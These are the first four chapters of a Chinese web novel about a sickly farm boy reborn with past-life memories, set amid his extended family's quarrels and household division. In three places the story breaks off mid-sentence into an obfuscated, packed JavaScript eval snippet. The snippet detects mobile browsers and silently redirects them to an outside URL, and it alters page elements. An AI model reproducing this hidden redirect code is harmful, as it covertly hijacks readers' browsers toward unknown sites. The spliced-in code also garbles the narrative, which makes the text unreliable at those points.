《从农家子到当朝首辅》 1. 农家日常 “一个游手好闲,一个整天摇头晃脑,一大家子,老的老,小的小,光指着吃白饭......大胖今年开了春可就满十岁了,老三这个年纪都读了四年的书了......” 挨着灶房的房子此时窗户关得严实,冬日里天光暗,门口充当挡风布的草帘子放下来,便一丝光亮都透不进来了,只有寒风透过那扇破旧木板门发出呜呜声。 赵丰年身上裹得严严实实,只是几床破被子到底太轻薄了,他病还未好全,这会儿迷迷糊糊半睡半醒咳嗽了几声,只闻外面的女声似乎是听到这声音,停顿了片刻,复又念叨开来。 “...药是吃了一筐又一筐,个病秧子还宝贝得跟什么似的......” 赵丰年前两天才恢复前世的记忆,前世加上这辈子也有二十六了,故而虽然知道大伯娘王氏在说自己,却并不怎么在意。 赵丰年前世便是个病秧子,这辈子是个早产儿,好不容易长到六岁,因着前两天一场高热,竟让他想起了上辈子的事,这才意识到自己竟然是重活了一世。 这辈子的娘怀着他那会儿赶上了家里最难的时候,没吃什么好的补身子不说,还有大把的家务活要做,农家事多,没说怀了孩子就要休息的道理,以至于八个月的时候,她娘上山捡柴火的路上就生下了他。 这会子的人都讲究个七活八不活,加上他出生就没哭过,又是大雪天降生,所有人都觉得这孩子怕是不行了,是他爹大冬天连夜跑了十里路敲开了县城里大夫的门,跪着求了人家郎中跑了一趟,这才堪堪保住了他的小命。 可惜这先天不足也让他从此大病小病接连不断,还没学会吃饭便先学会了吃药,若不是他爹娘拼了命地想办法赚钱,只怕是他活不到六岁,也想不起前世的事情。 今年又是雪多的一年,赵丰年不出意外受了凉发起热来,这年岁药都金贵,长年不断药,想也知道不可能是个普通农家能供得起的,别说他们家还供着一个读书人。于是他爹早在前两天就冒着大雪上了山,只为了能给幼儿再续几日的药钱。 这几天,赵丰年躺在床上,盯着头顶密不透风的草棚,前程往事在脑海中如走马灯一般匆匆而过,这具身体的记忆夹揉着草药味历历在目。 他很清晰地知道,现代的自己已经死了,只是他没有想到自己能重活一世。 而这药香萦绕的屋子,以及新的记忆告诉他,他确实重新来过了。 前世,他从未体会过亲情,而如今,他也有了正常的家人,会为了他冒死上山打猎的父亲,和会为他冬天去城里帮人浆洗衣物赚钱的母亲。 会全心全意疼爱他的父母。 吱呀—— 不知过了多久,木门被小心翼翼地打开了一条仅供人进入的缝隙,一道瘦弱的身影在雪光的映衬下凸显了出来。 “宝儿,你咋醒了?是不是饿了?怎么哭了?是不是哪里疼了?还是嗓子不舒服了?” “我...没事...” 嗓子仿佛干枯了一般,完全不像是孩童的声音。 柳巧娘还是没放下心,刚想要摸摸儿子额头,却又缩回了手。 看着那只肿胀不堪的手,包裹了一件打满补丁的袄子也显得瘦弱的身子,赵丰年很清楚地知道,那袄子里塞的不是棉花,而是秋天打下来的稻草,想到这里,他感觉又有什么从自己眼睛里掉出来了。 柳巧娘手足无措,“宝儿不哭宝儿不哭,娘亲在呢,娘赚到钱了,给宝儿买了糖葫芦,等一会儿药好了,宝儿吃糖葫芦,就不苦啦,宝儿不是最喜欢糖葫芦了吗?” 他何其有幸,重活一世,还遇到这样的父母啊。 城里大夫开的方子很有用,第二天一早,赵丰年就不再发烧了,也让柳巧娘暂时放下了心,只是想到还没下山的丈夫,心里又是暗中焦急。 “哟,这是什么时候回来的,一大早上就刨食呢。” 赵家四个媳妇儿是轮流做饭的。 柳巧娘昨日去镇上给人家浆洗衣服,昨天傍晚才从镇上回来。 赵家没有留饭的习惯,她因为时常出去做工导致家里的事便有时候没法顾及,虽赵老头跟张老太太体谅幺儿给孙子买药不容易,都允她少干点家务活好让她有空去做事,但是其他几个媳妇心里到底是不舒坦的。 每回见了人,总归是要刺几句的。 替人家浆洗衣服这活儿也就冬日里好做,这年头家家都不富裕,便是镇上有那手上宽松一点的,也就这种天寒地冻的时候愿意花几个铜子请人,天暖了可舍不得,镇上吃喝更花钱,不见得就阔气多少的。 柳巧娘念着妯娌帮忙好,也知道大嫂王氏就是这么个性子,于是听见这话也不生气。 “宝儿大好了,也没起低热了,昨天一天没吃,今早好不容易有了点胃口,我给他煮点米汤,大嫂今天就歇一歇吧,昨天劳烦你们帮着照看宝儿了。” 人家好脾气,王三娘也不好再发作,再说,老四家的孩子虽然病着,倒也不折腾人,只躺在床上,不时咳嗽几声,吃药方便自有婆母张氏,是不用她们管着的,不过多分点眼神的事。 “不是我说,你们也该合计合计再要个孩子了,就铁子那身子骨儿,昨日又咳了好一阵子,未来还不知道是个什么光景呢。” 巧娘往灶膛里送了根潮湿的树枝,没回这话,只默默道,“他伯娘,宝儿有名儿的。” 王三娘翻了个白眼,嘟囔着什么,出了灶屋。 “也不是城里人,叫什么宝啊珠的,也不怕犯了忌讳折了寿!” “哟,这眼瞅着还下着大雪呢,大嫂就上火啦?”只见一尖下巴吊梢眼,削肩窄腰的女子从二房屋子里走了出来。 王三娘见了人啐了一声,“王小红,我没找你,你倒是先惹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751178|157618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我了,你说说,昨儿个你家柱子找我们大胖要吃的算个怎么回事?要脸嘛,这都八岁了,还整日里四处讨食吃,不知道的,还以为哪来的小乞儿呢!” 王小红也不甘示弱,“孩子吃了一口饼而已,亏你还是大伯娘呢,这斤斤计较的,他能吃你几口?” “还吃几口?吃一口也不行,前头刚分了家,说好了今后就各过各的日子了,撺嗦你儿子吃我家的粮是个什么理?” “好了,都住口!我跟你们娘都还在呢!老二家的,你是该好好管教柱子,老大家的,你也别跟个孩子过不去!” 赵老头的声音打断了这场争端。 赵老头名叫赵大强,在家里向来说一不二,他一出声,顿时谁都不敢造次了。一阵安静过后,小院里这才又响起了各种窸窸窣窣的声音。 赵家拢共四房人,虽然分家了,但是毕竟冬日里不好起房子,又都是自己的儿子,总不至于大冬天的就赶出去单过了。 事实上,生养了四个儿子,还给四个儿子都娶了媳妇,这是赵老头最大的骄傲,毕竟,村子里多的是那一辈子都娶不到媳妇的汉子。只是,前头还好,这媳妇儿娶回家了,矛盾也多了,有了孙子孙女后,矛盾就更多了,家里屋子也住不下了,若不是几房的矛盾越来越深,就凭着“父母在,不分家”这句话,赵大强是不想分家的,就算分家,也不会在年前分家。 只是既然事情已经定了,也没必要再说什么了。 大概是每个媳妇都想要分家过当家作主的日子,巧娘也不例外,只是她知道这次分家,除了大房、二房争着送谁家孩子去读书的原因,也离不开她们家的缘故,她家宝儿吃药是个无底洞,即便是她男人能上山打猎补贴也填不上,妯娌们早就有了不满。 因此趁着还在一块儿的时候,她就想多干点活,也不去计较那些了,毕竟,这么多年了,若不是大家的体谅,又有婆母帮着照顾宝儿,她跟赵来贺也不能放开手去找活干。 只是巧娘这样想,可不代表其他人都这么想。 回到屋里,王三娘用力甩上门,那门板颤巍巍,似乎马上就要寿终正寝。屋里有点挤,没几件家具,只一张放衣物的斗柜,上方堆了一只木箱,靠墙的地方放着一张用木板加宽的床,小儿子二胖已经醒了,正睁着眼睛看他爹穿袄子,大儿子小呼噜一阵跟着一阵,倒是还睡的沉。 “大早上的,这是怎么了?谁又惹你了?”赵来金一边穿衣服一边疑惑。 “还能有谁,真是大早上的寻晦气!” 赵来金瞬间就明白了,“都分家了,年后大家就不在一处了,你跟她过不去干什么,再说,都是自家人。” “我呸,谁要跟她王小红一家人,以前当闺女的时候就爱勾搭人占便宜,这么多年了,还是老德行,我可跟你讲,以后柱子再来找你要吃的,你可不许给,再给我就跟你急!” 2. 农家日常 王三娘做闺女的时候就跟二房王小红不对付,便是两人成了妯娌后关系也没缓和,甚至见天的相互别苗头,前些日子赵老头决定停了供赵老三读书,再挑一个孙辈送去私塾,王三娘王小红二人就为了选谁家的孩子去这事差点大打出手,虽则后面成功分家,但是仇人相见,分外眼红,那是碰上都能上火的。 赵来金挠挠头,他昨儿个遇到大伯家的堂兄赵来富,赵来富刚从岳家归来,带了一篮子糕饼,碰到赵来金,便给他塞了几块,赵来金接过来也没多想,就想着大过年的,给孩子们都甜甜嘴,哪成想倒是给出矛盾来了。 王三娘看着他这副模样就生气。 “都是一个娘生的,怎么你就没学到他赵来喜半分的机灵,你看他把爹娘哄的,差点屋后的菜园子都要分给他家了。” “娘都说好了,那菜园子里的菜是公家的,也没多少产出,年后收完了最后一波菘菜,后面还是归给爹娘,爹娘跟着咱们,最后还不是咱们家的。” “菜园子算什么,菜一摘什么都要自己种了,西边那块竹林才值钱呢。” “宝儿身体不好,老四说是能上山去寻摸,但是也不够宝儿的药钱,这么多年下来,手里估计是没钱的,也就两分地,山林那边也有不少竹子,也不缺那玩意儿,补贴他们也是应该的,再说,你不是嫌竹蔑处理起来麻烦嘛。” 王三娘自然明白,只是觉得竹子也能做不少好东西呢,不过老两口子身体还康健着,又不是闲的下来的性子,往后能帮忙做不少事情,这又是另外一个说法好处了。 想到这里,王三娘也没话说了,毕竟她觉得这次分家她家才是获利最大的,老二赵来喜是个懒鬼,往日里地里的活都叫不动人,王小红又跟她不对付;老三读书太费钱,读了这么多年还是个童生,大家都说他中不了秀才,三弟妹陈莲手脚慢不说,又只有两个女儿,三房一个劳动力都没有,相当于一家人养着他们;老四家虽然能干,但是那钱都拿去填他们宝贝儿子的药钱坑了,留不下几分到家里,而他们大房,可是有三个男丁,要是不分家,以后岂不是一大家子都指望着他们家养,这她可不愿意。 因此,她也是满意的。 这边王三娘想通了,回到屋里的王小红可气得不轻。 她跟王三娘一个下河村,一个上河村,本来两村来往密切,可惜她俩当闺女的时候就不对付,当了妯娌后,王三娘仗着大嫂的名头总要压她一头,什么好处都轮不上自己。 分家她还是愿意的,毕竟三房跟四房都是吃钱的无底洞,她也想着送儿子去读书,供小叔子哪里比得上直接供自家孩子呢,如果大家一起过,供养不了所有孩子,赵家在村子里算不上什么富裕人家,光是供个赵来庆,就已经是举全家之力了,若不是看三房不争气,也不会想到改供孙子读书,老两口虽说没有什么大的偏心,但大胖终究是长孙,真要送个孙子读书,肯定是轮不上她的柱子。 她跟王三娘争了小半辈子,怎么可能愿意出钱供她儿子去读书。再有就是,她男人可比不上他其他兄弟勤快,现在仗着家里有人干活,能不动弹就不动,往后分了家了,她也刚好借着送儿子读书的理由逼他立起来。 “你说你认识的那人,真能让柱子去县城私塾读书?” 赵来喜本来睡得好好地,被婆娘一下子推醒,当即有些不高兴,“正做着梦呢,又做什么!” 王小红锤了他一下,“还不是柱子读书那事,这可是咱们家的大事,你这个当爹可要上心!” “我当什么事,说了多少回了,一准没问题,真是的......” 眼看赵来喜继续睡了过去,得了准信的王小红也不再管他,当即把刚才的不开心抛到脑后,给小儿子掩了掩被他爹带跑的被子,转头看到另外一张床上的两个闺女正要起来。 “你带着妹妹赶紧起来,一会儿去捡柴火,从今天开始,咱们家要好好攒钱给你们弟弟读书。” 两孩子点点头,没出声。 灶屋里,巧娘刚煮好米汤,见两个侄女手拉手走进来,笑了,“热水刚烧开,青青翠翠你们拿盆来,婶娘给你们舀。” 两姐妹摇摇头,“婶娘,我们自己来吧,宝儿还没吃饭,您照顾宝儿去吧。” 翠翠也迟疑着问道,“婶娘,弟弟昨晚又咳嗽了吗?”赵翠翠知道堂弟身体不好,家里人都说堂弟活不过十岁,她才七岁,不知道十岁是什么概念,也很少看到堂弟出来一起玩,倒是经常听到咳嗽声。 四房人一起住着的老宅,到底逼仄,离得也近,一点动静大家都能听到。 巧娘舀好了米汤,这才有笑,“弟弟喝了药,马上就好了,不会再咳嗽了。” 翠翠松了口气,“太好了,希望弟弟开春能好起来,到时候我就可以带弟弟去摘野菜了。” 农家的孩子早当家,女孩子更是恨不得刚会走路就开始帮着家里做事了,王小红只念着儿子,两个女孩子黑天白夜地帮家里干活攒钱,春天里挖野菜,冬日里捡柴,对于她们来说,春天是能外出挖野菜也不冷的季节,反而是她们放松的时候,就这样,俩孩子还惦记着病了的堂弟,是有心了,巧娘当即眼睛便有些湿润。 “我一定会跟弟弟说两个姐姐等他一起出去摘野菜的。” 赵丰年这一次生病恢复得很快,昨天还烧着的人,今天早上居然已经神清意爽地靠坐在床上看风景了,虽然这风景只有半透光的窗户。 巧娘刚端着碗进屋,看到儿子小半个身体露在外面,当即吓了一跳,一边放下碗一边去帮他拉被褥。 “宝儿,赶紧盖上被子,听话,外面冷。” 赵丰年只得乖乖缩进被窝,露出一张惨白的小脸看着巧娘,及她手里的米汤。 昨天没胃口,吃什么吐什么,只喝了两顿药,他确实有些饿了。 他们这屋离厨房近,这会儿米汤还是热的,心疼儿子饿着肚子,巧娘刚放下的米汤连忙又端了起来。 赵丰年细细感受着这种无微不至的照顾,心里划过一阵阵的暖流。 就是连续四天还没归家的赵来贺让他忍不住有些担心。 好在当天夜里,赵来贺就回来了。 赵来贺刻意小声敲门,没惊动其他人。 只夫妻两不知道的是,这屋里还有个装睡的。 “怎么大晚上回来的?吃了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751179|157618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?我去给你做去,不不不,还是先烧点热水洗洗......”怕吵醒儿子,巧娘压低了声音,一边忙着给赵来贺拍雪,一并又急忙要去厨房烧水。 赵来贺常年打猎做庄稼汉,是兄弟几个里面最高壮的,这几日在山上只能吃几口干粮,早就肚子饿得受不住,却也不着急找吃的,只先来到床边看了眼儿子,见他睡得香甜,这才放下心来跟着巧娘去了厨房。 在厨房就着热水擦了擦身子,又喝了一大碗姜水并一些吃食,两口子这才一起回到屋里,继续聊起了打猎的事。 “......情形不好,雪太厚了,山里草倒是没什么了,却也不好走,本想跟着脚印去找狐狸,那狐狸皮子最是值钱,去年侥幸得了一只,那皮子的钱够宝儿两个月的药钱了,只是这东西狡猾,我追了小半个山林还是给逃了,后来遇上了獾子洞,给掏了两只獾子,谁成想转头又碰到了一只银狐,这东西可比杂毛狐狸值钱,又是花了一整日的功夫,得了狐狸我也不敢多呆了,想着宝儿前头还病着,可雪下大了,又不敢顶着大雪下山,便寻摸了个山洞,待到了下午,寻思着着得赶紧把货出了好换钱抓药,等雪小些了,索性绕过这边山头直接去了县城,问了保和堂那边孙大夫收不收獾子,是八十文一只的价,可巧孙大夫有门路收皮子,狐狸皮也卖出了,足足十两白银——” 巧娘吸了一口气,往年丈夫也不是没卖过猎物,就是去年那只狐狸皮,也才二两白银,这回居然有这么多。 “这,这银狐皮这么值钱啊...” “孙大夫说了,这皮子成色好,拿到外头去,做成衣领子,那些贵人五十两也愿意掏的,也是咱们不懂那手艺,不然直接自己做了,送去府城,能赚得更多...今年雪厚天冷,獾油紧俏,獾子收的价也高,就是可惜现在不好上山了,不然这东西好掏,也能多赚些......我给你也带了一盒獾油,你冬日给人家浆洗衣服,冻疮又发了,等年后分出去住了,我上山打猎,你就在家照顾宝儿,别出去做活了。” 巧娘眼眶微湿,“这东西贵着呢,给我做什么,平白浪费了......”虽是这样说,但那罐獾油被她拿在手上,怎么也不愿意放下。 “不贵,这一瓶是孙大夫送我的,你看这个小瓶子是竹子做的,我厚着脸皮要了两瓶,一瓶给爹娘,是我没用,连累你大冬天的还要给人家浆洗衣服,你多涂些,后面就不要去了,好好养养,回头破了皮更是要吃苦头的。” 巧娘抹去眼泪,应下了,又问,“对了,这钱……” “这钱留着,既然已经分家了,就不上交了,加上分家的二十两,还有其他零零碎碎的,也有三十五两好几了,年后起房子紧着点用还能余下些宝儿买补药。” “你做主就好了。” 赵丰年先前还听着,到后来渐渐睡意涌上,于是,也就错过了赵来贺说的下一句。 “这次进城,我听那些秀才郎都在念什么‘瑞雪兆丰年’,宝儿的大名,就叫丰年怎么样?也不必从‘有’字,宝儿身体弱,我想着取个不一样的压一压。” “赵丰年,赵丰年,”巧娘嘴里念着,笑道,“这真是个好名字。” 3. 农家日常 第二天一早,赵家的人便都知道老四赵来贺回来了,虽然有心想知道他这次进山赚了多少,但是到底是分家了,各家赚的钱都不必再交付公中,自然也不好追着问,只是,当赵来贺将獾油拿出来给了老爷子跟张氏,其他人还是狠狠地羡慕了。 “一盒獾油如今都快卖到五十文了呢,老四这回看来是赚了不少钱了。”王三娘窝在屋里纳鞋底,一边眼馋羡慕。 “那也是老四的本事。” “我也没说啥,只是当年你咋没去一起学打猎呢?” 众所周知,赵老四的打猎技巧都是村子西头一个老猎户教的,老猎户三十年前孤身一人来到赵家村定居,靠着打猎跟村里人换东西吃,只是那人不愿意说话,平常也没人敢上前搭话。 “都说多少回了,那是老四救了他,他才教老四打猎的。” 因为有了个先天不足的儿子,赵老四不得已大冬天去山里捡山货,走远了,碰巧救了被野猪撞伤了的猎户,猎户这才将本事教给了赵老四,大家都知道这是门手艺,这年头学手艺都是要交束脩,先从学徒做起,别人谋生的手艺,自然不肯轻易教给旁人。 再者,进山也着实危险,不是真的有点本事,胆子大,还真不敢轻易进山。没看老猎户也因为这个伤了身体,没两年就去了嘛。 所以,王三娘也是嘴上一说,真要她男人也进山打猎,她是不敢的。 “想要獾油,让自家男人买去呀,找老人家讨要算怎么回事,那是人老四家孝敬爹娘的,天天窝在屋里不做事,伸手要东西倒是积极呢!” 王三娘一听这话,纳着鞋底就出门了,一边使着针,一边靠在门上看热闹。 王小红见她出来,变本加厉,“有些个人做个事拖拖拉拉,伸手要东西可是麻利着呢。” 被讽刺的女人低着头,有心想说点什么,又不敢回嘴,半天只吐出几个字,“二嫂,你别这么说……” “我说什么了?这话哪一句不是事实?你都做了还怕人拿眼瞧了?要我说,他三婶你也别急,三弟可是个读书人,这几天就要回来了吧,县城里那么多好东西,三弟这么多年吃家里的用家里的,平常不见他往家里拿一分半分,我们这些做兄嫂的就不指望了,只是这大过年的,总要孝敬爹娘吧?” 在针对三房这件事上,王三娘总是能跟王小红达成一致,要王三娘说,这三房才是最可恶的,四房好歹是偶尔还能补贴家里,三房可是个只进不出的。 是以,一听这话她就附和上了。 “他二婶这话说的,何止要孝敬爹娘呢,平日里老三在县城里读书不回家,这家里老三媳妇虽是做不了什么活儿,可到底辛苦养着一双女儿,三弟怎么也要给三弟妹带点好的不是,我看那镇上的读书人娘子哪个不是打扮光鲜的,那头上的大红花,哎呦,那叫一个喜庆好看呢。” 这话就纯粹恶心人了,谁不知道赵老三只顾着他的之乎者也,诸事不管的。 被两边夹击,陈氏几乎是落荒而逃。 剩下两人相互看了一看,终止了短暂的同盟。 “那陈莲可真是,说什么秀才公家的女儿,还不如我们这些庄稼户人家呢,我呸。”王三娘回到屋里,嘟囔了一句,继续纳鞋底了。 雪连续下了几天,这日终于停了,而赵丰年的病也好彻底好了。 当然,这是他自己的想法,在赵来贺跟巧娘看来,他最好是在床上躺过整个冬天。 除夕前一天,赵丰年终于争取到了在院子里看看雪的短暂时光。 男人们在院子里或堂屋里做着修补农具的活计,孩子们在院子里玩闹,女人们便在厨房里忙活。 等到炸丸子的时候,整个赵家村仿佛空气中都弥漫着浓浓的的香味,农家人一年到头也就过年能吃点好的了,就是再穷的人家,过年也不能随便应付。 儿子上回就是出门看雪病了好大一场,是以就算是赵来贺在院子里盯着,巧娘心里还是不放心,不一会儿就要探头看一眼。 王三娘就笑,“老四他们都在,你怕什么,再没有这么不放心的。” 巧娘也跟着笑了笑,又缩了回去,手上活儿是没停的。 这就是为什么王三娘更待见四房了,瞧瞧人家,不耽误活啊,再看躲在一边拌个面都磨磨唧唧的老三家的,王三娘翻了个白眼,心说,的亏年后就要彻底分开过了,这糟心的。 院子里,赵来贺跟儿子并排坐在堂屋口子边上,不时低头看一眼,眼里满满的慈爱。 宝儿屁股下的小马扎是他闲暇的时候做的,按照宝儿的身高,坐在上面的时候双脚刚好够着地面,凳面上用破布裹了一层稻草,就怕他坐着凉。此时看着儿子坐在小马扎上,手里捧着一个汤婆子,安安静静的模样,看得他心里格外的满足。 “宝儿,手上凉不凉?凉了爹去厨房给你换热水去。”那个汤婆子是早些年买的,兆丰年一到冬天手脚就冰凉,怕他冻着,两口子前年一整个冬天前没日没夜地砍柴挑到县城里卖,才换来了两个汤婆子,赵老头张氏一个,宝儿一个,这样其他人也没办法说什么。 赵丰年摇摇头,三代人,除了两位老人,就他一个汤婆子,其他人都不知道多羡慕,他只觉得火热热的,一直热到了心里。 赵家的院子不大,其他几个孩子都待在另外一边搭雪人。 他们虽然在玩,却时不时地朝这边偷看,赵丰年听着厨房里、屋子里的各种声音跟动静,默默地将他们的脸跟名字还有各自的关系对上,他没有兴趣跟一群小孩子玩,梳理一边模糊的记忆后,就看着院子里那颗挂满雪的枣树欣赏起来。 这就是家的烟火味吧。 赵家老三就是这个时候到家的。 刚推开院子门,扑面而来的炸货味道让赵来庆下意识皱了眉。只是他没来得及说点什么,就见几个孩子叫嚷开了,为首的大胖嗓门最大。 “是三叔,三叔回来了!” 厨房里,陈莲听到动静看了几人一眼,犹豫着还是放下了手里的活出去了。 王三娘翻了个白眼,“像谁拦她似的,做给谁看呢,大胖那小子也欠揍,人家闺女都没喊,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751180|157618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他嚎得起劲!” 巧娘却一脸羡慕,“大嫂将大胖养的壮,真好呐。” 王三娘立马骄傲起来,也是,他老赵家三个孙子,就她儿子多,又健康,老三家的两个闺女能顶什么事。 虽然气赵老三不成器,但看到儿子回来的老爷子跟张氏也都很高兴。 “回来就好,回来就好,前头才跟你大哥说要借你来富哥家的牛车去接你,就怕你路上不好走。” 王小红抽空出来,看到赵来庆又是两手空空,当即拉下了脸,回到灶屋。 “又是回来吃白食的,我们两家给老人裁了身衣服,老四家的孝敬了一盒獾油,就他们三房,分家了还整天想着占便宜,我呸。” “当真又是空手?”王三娘着急问道,老四家送了獾油后,她心里虽气,但是也不想落人于后,毕竟他们家可是长房,面上还是要做好的,当即咬了牙给赵老头跟张氏各做了身袄子。她知道,王小红心气高,又处处跟她攀高低,肯定也要送,果不其然,她袄子刚到,二房就把鞋袜还有张氏的抹额送到了。 本来大家都送,也没什么,毕竟是送给老人,回头走亲戚串门,人家见了,还不是得夸她们孝顺,落了个好名声。这也是她跟王小红的心机了,穿在身上戴在头上的东西,总是要比看不见摸不着的獾油好叫人家看见的。 她们本来想靠这些给三房施压,毕竟几房都送了,又分了家,三房但凡不想被吐沫钉子淹,都少不得出出血。 可谁成想,陈莲闷不出个屁来也就罢了,他赵老三还真就敢空着手回来。 真不是东西,还好分家了! 这是此时此刻王三娘跟王小红内心唯一的想法。 晚上大家各自回了屋。 陈莲见没外人了,也跟赵来庆提起了几房给老人送东西的事。 赵来庆皱着眉头听完,一脸不耐。 “这种事情你自行做去便是,同我说什么。” 陈莲为难,“如今我这里也没钱……” “没钱你便多做点绣品就是,再说,分家之时不是分了二十两银钱,竟还为这点俗物所困,当真是妇人。” 那钱还要留着年后起房子,怎么能动,此时此刻,陈莲真恨不得丈夫是个庄稼汉,好歹还能能为家里挣得一分半两,倘若是年后分开住了,就算有那三亩地,可怜她只有两个闺女,如何干得动啊,只是她再怎么不愿意分家,却也由不得她不愿意。 “后面就要搬出去了,那钱还要起房子呢,我想着,日后单独过了,起房子也好,地里也好,都要有男人在,要不过完年钱夫子那边先不去了吧?” 赵来庆一听这话立马就火了。 “我是要读书考功名的,怎么能懈怠!” 陈莲急了,“那家里怎么办?你总不能让我跟招娣盼娣做吧?起房子都要叫村子里男丁来,我们如何能成?” 赵来庆越发不耐烦,“这种事情你既不好出面,请爹娘兄弟帮忙便是,何苦一定要我去,明年我还要下场,如今可是关键的时候,你莫要来打搅我。” 4. 农家日常 这天晚上赵家三房闹了大半宿,大家都睡得不安稳。 “宝儿昨晚都没睡好,没想到三嫂也能吵起来。”巧娘一脸心疼,一边将重新灌好热水的汤婆子塞回了被窝。 晚上孩子坚持给她用来捂手,闹得她泪珠子忍不住往下掉,直夸宝儿懂事。 赵来贺点头,“三哥确实也该想想以后了。” 许是年后就各自生活了,赵家这顿年夜饭格外的丰盛,几个孩子眼巴巴地望着桌上的肉菜丸子,口水都咽了好几回,只是几个大人却因着昨晚的事,吃得格外沉默。 依着往年的习俗,年夜饭后就是一大家子坐在堂屋里围着炉子守岁了,不过老赵家人口多,堂屋小,往年也就几个大人男丁留下来陪赵老头跟张氏唠嗑,几个媳妇各自带着孩子早早回屋里头待着去了。 今年饭后,知道赵老头有话要说,一家人倒是还挤在堂屋里谁也没敢走,只等着赵老头发话。 大胖几个孩子平日里早就疯玩开了,此时此刻,也都不敢捣乱。 赵老头看了眼这满屋子的儿辈孙辈,终于是发声了。 “咱们家人多了,这老屋子也挤不下去了,虽说父母都在不讲究分家,只是总不能让你们都老大不小,还全都挤在一块儿过日子,这人多了,日子久了,总归是要起争执的,我跟你们娘也不是那固执的,所以同意了分家,这个事就算定了,总归是剩不下几天的功夫,你们也不必见天的吵吵。” 赵来金几个忙摆手。 赵老头哼了一声,接着说道,“也别说什么敢不敢的,你们这些日子还少吵了不成?前头已经说好了怎么分,章程也都是现有的,就照规矩来。我们跟着老大养老,这老房子就留给他们了,家里田地拢共是十五亩,你们一家三亩,我跟你娘得三亩,西头的竹地给老四,他打猎能用上,银钱上他少分二两,另外的宅基地我前头也已经找村长说好了,老四愿意去村西边山脚下,那下坡那两处就是老二跟老三的了,年后你们就准备拉材料起房子,在这之前你们愿意住到宅基地边上起草棚子也行,愿意住家里也可以。但是先说好了,要住在家里,就给我老老实实的,别为了点小事就能吵起来,传出去像什么样!” 具体怎么分家前头都是请了族老们来见证的,早就定了下来,再听赵老头说起,众人自然是忙答应了下来。 赵老头叹了口气,点了赵来庆。 “老三,年后分家了,媳妇孩子都要靠自己养了,你是个什么成算?要是说什么还要读下去,我跟你娘,这一大家子供你读书这么多年了,自然也不想你半途而废的。” 听到这里,陈莲急了,她可不能再忍下去了。 但是赵老头话还没说完。 “可自己有多大的本事自己心里明白,倘若还想读,也不是不行,但是你得靠自己读了,自己赚钱,读书,养家糊口,你有多少能耐,读多久的书都是你自个儿的家事,我们不指望你,也不再管你了。” “爹,我一个读书人,岂能……那些黄白之物……” 这话听得王三娘王小红纷纷唾弃不已。 “没了这黄白之物,你还能读起书了?” 赵老头看了眼大媳妇,倒是没有反驳这句话。 谁说不是,举全家之力供养了这么一个读书人,却什么都没得到,到头来换来了这么个酸书生,不管是其他几房人心里有怨言,赵老头何曾不是既有不甘心又有怨念。 “没有钱你拿什么读书?拿什么买笔墨?拿什么交束修?你读了这么多年的书,二十多岁还是个童生,钱夫子都劝你放弃了,你不放弃想继续读,可以,但是男子汉在世,总要养家吧?往前你有我们这一大家子给你供着,如今我跟你娘还有你几个兄弟是供不起你了,往后你就得靠自己,读书人总归是饿不死的,你去给人孩子启蒙也好,去县城里找活计也好,或是给人家写写对子抄抄书,这么多法子,到时候你想怎么读就怎么读,谁还拦着你不成!” 别说陈莲了,其他人听下来心里也是一片火热,更加坚定要送儿子去读书的念头。听听,这么多条赚钱路子呢,怎么着也比土里刨食强。 赵来庆到底还算孝顺,听着这话,终于是点了头表示年后就去找活干。 年后,刚走完亲戚,赵家就忙活起来了。 首先搬走的是四房。 赵来贺主动要了村西头的宅基地,那边挨着山,几户人家也离得远,虽是偏了一些,但是上山方便,刚好方便了赵来贺。宅基地边还有当初老猎户住过的茅草屋,夫妻二人商量后,决定早点搬过去,也好早些盖房子。 赵老头没意见,只是又让老大抗了一袋豆子过去,惹得王小红念了一句“爹娘还是偏心幺儿的”。 看到老四这么早就搬走,王三娘难得没说什么,很爽快地让赵来金帮忙搬东西,还多给了一碗酸菜。 只是当天晚上,她就把空出来的屋子收拾好,让两个儿子住进去了。 而这头,赵四一家也来到了新家。 新家茅草屋不大,有两间房,一间住人,一间吃饭,厨房就在外面用泥巴搭了个灶台,锅是没有的。 老赵家有两口铁锅,在全村也算数一数二了,只是还做不到每个儿子一口铁锅,他们家多得了一分的竹林地,就没有锅了, 好在赵来贺早前些日子就去隔壁陈湾村的陈铁匠那里订了一口锅,约好年后去取,如今搬到这边来,刚好去拿回来。 赵来贺出门后,巧娘先是把儿子塞进被窝里,摸了摸他的汤婆子,感觉还暖着,就里里外外收拾开了。 赵丰年环视一周,知道新的生活要开始了。 柳巧娘里外清扫干净没多久,赵来贺就回来了,带回了一个双耳的铁锅,?并一把铁刀。 